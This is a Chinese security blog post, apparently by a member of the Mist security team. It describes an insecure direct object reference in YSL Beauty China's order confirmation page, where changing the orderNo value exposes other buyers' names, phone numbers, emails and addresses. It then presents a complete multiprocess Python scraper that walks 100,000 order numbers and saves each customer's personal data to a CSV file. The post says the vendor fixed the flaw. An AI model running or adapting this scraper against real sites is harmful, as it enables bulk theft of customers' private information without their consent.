Python系列之--听说你们情人节喜欢送口红?

0x00 前言:

Markdown团队的林奇表哥在昨天买了条ysl打算在情人节送女朋友 还特意发了个截图到团队群里面气我们
Markdown
Markdown你说气不气吧 让我们这些从去年的民谣伤感小王子到今年的嘻哈王都找不到女朋友的情何以堪

但是我林奇表哥就是牛逼啊 买个口红也要挖漏洞啊 不仅秀女友还要秀一把技术啊

Markdown我林奇表哥挖到这洞的时候就一把推醒了在公司偷懒的我 叫我赶快起来写爬虫 当时我的表情就像这样
Markdown
Markdown大哥叫我办的事当然得办好啦

0x01 漏洞详情:

Markdown漏洞是这样的
在我林奇表哥支付完成后 浏览器上显示的链接大概为 https://www.yslbeautycn.com/.../zh_CN/Wechat-ShowConfirmation?orderNo=YSL00xxxxxx

显而易见了吧orderNo已经说明了一切
那么修改一下orderNo的值看看
mark
Markdown这样就可以确定了 这里是可以遍历订单详情的 而且涉及到很多用户信息(姓名,手机号,邮箱,收货地址 等)
怪不得林奇表哥叫我写爬虫呢 得证明危害啊 唉 大佬的话不能不听呀
Markdown

0x02 思路分析:

Markdown首先打开漏洞点 看看这些数据是直接后端渲染回来 还是通过ajax请求得来的
Markdown
这里可以看到所有的数据都是直接从后端渲染过来的
那就很简单了 直接请求https://www.yslbeautycn.com/.../zh_CN/Wechat-ShowConfirmation?orderNo=YSL00xxxxxx就好了
Markdown这里使用Python的requestslxmlre库 分别用来请求和解析目标数据
这里使用xpath模块来进行数据的抽取

  • 姓名xpath: //div[@class="shipping_address"]/div[1]/span/text()
  • 省名xpath: //div[@class="shipping_address"]/div[2]/span[1]/text()
  • 市名xpath: //div[@class="shipping_address"]/div[2]/span[2]/text()
  • 区名xpath: //div[@class="shipping_address"]/div[2]/span[3]/text()
  • 地址xpath: //div[@class="shipping_address"]/div[3]/span/text()

Markdown唯一不同的是 这里的邮箱信息放在了一段js代码里面
Markdown
也不难 直接使用正则表达式r'olapicCheckout\.setAttribute\("olapicIdentifier", encodeURIComponent\("(.*?)"\)'就可以取出来

0x03 爬虫编写:

Markdown首先导入需要用到的库 由于数据有点多 这里使用了多进程来完成

1
2
3
import requests,re
from lxml import etree
from multiprocessing import Pool

Markdown获取数据的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
def main(url):
try:
r = requests.get(url,timeout=3)
userId = re.search(r'olapicCheckout\.setAttribute\("olapicIdentifier", encodeURIComponent\("(.*?)"\)',r.text).group(1)
htmlOBJ = etree.HTML(r.text)
name = htmlOBJ.xpath('//div[@class="shipping_address"]/div[1]/span/text()')[0]
addr = htmlOBJ.xpath('//div[@class="shipping_address"]/div[2]/span[1]/text()')[0] + htmlOBJ.xpath('//div[@class="shipping_address"]/div[2]/span[2]/text()')[0] + htmlOBJ.xpath('//div[@class="shipping_address"]/div[2]/span[3]/text()')[0] + htmlOBJ.xpath('//div[@class="shipping_address"]/div[3]/span/text()')[0]
addr_zip = htmlOBJ.xpath('//div[@class="shipping_address"]/div[4]/span/span/span/text()')[0]
phone = htmlOBJ.xpath('//div[@class="shipping_address"]/div[5]/span/span/span/text()')[0]
print name,userId,addr,addr_zip,phone
out2File(name,userId,addr,addr_zip,phone)
except:
return

Markdown保存数据的函数(这里用了逗号分隔的csv 可以更方便更直观查看到数据)

1
2
3
def out2File(name,userId,addr,addr_zip,phone):
f = open('opt.csv','a')
f.write('\n{},{},{},{},{}'.format(name.encode('gbk'),userId.encode('gbk'),addr.encode('gbk'),addr_zip.encode('gbk'),phone.encode('gbk')))

Markdown完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2017/8/16 16:31
# @Author : 奶权
# @File : ysl.py
import requests,re
from lxml import etree
from multiprocessing import Pool
def out2File(name,userId,addr,addr_zip,phone):
f = open('opt.csv','a')
f.write('\n{},{},{},{},{}'.format(name.encode('gbk'),userId.encode('gbk'),addr.encode('gbk'),addr_zip.encode('gbk'),phone.encode('gbk')))
def main(url):
try:
r = requests.get(url,timeout=3)
userId = re.search(r'olapicCheckout\.setAttribute\("olapicIdentifier", encodeURIComponent\("(.*?)"\)',r.text).group(1)
htmlOBJ = etree.HTML(r.text)
name = htmlOBJ.xpath('//div[@class="shipping_address"]/div[1]/span/text()')[0]
addr = htmlOBJ.xpath('//div[@class="shipping_address"]/div[2]/span[1]/text()')[0] + htmlOBJ.xpath('//div[@class="shipping_address"]/div[2]/span[2]/text()')[0] + htmlOBJ.xpath('//div[@class="shipping_address"]/div[2]/span[3]/text()')[0] + htmlOBJ.xpath('//div[@class="shipping_address"]/div[3]/span/text()')[0]
addr_zip = htmlOBJ.xpath('//div[@class="shipping_address"]/div[4]/span/span/span/text()')[0]
phone = htmlOBJ.xpath('//div[@class="shipping_address"]/div[5]/span/span/span/text()')[0]
print name,userId,addr,addr_zip,phone
out2File(name,userId,addr,addr_zip,phone)
except:
return
if __name__ == '__main__':
orderNum = 280000
orderUrls = ['https://www.yslbeautycn.com/.../zh_CN/Wechat-ShowConfirmation?orderNo=YSL00' + str(orderNum) for orderNum in range(280000,380000)]
pool = Pool(100)
pool.map(main,orderUrls)
pool.close()
pool.join()

Markdown来吧 看你们还敢不敢在给小姐姐买完口红后乱炫耀 哼

厂商已修复漏洞,仅供思路分享。

本文作者:奶权#米斯特安全团队 转载请注明出处

求打赏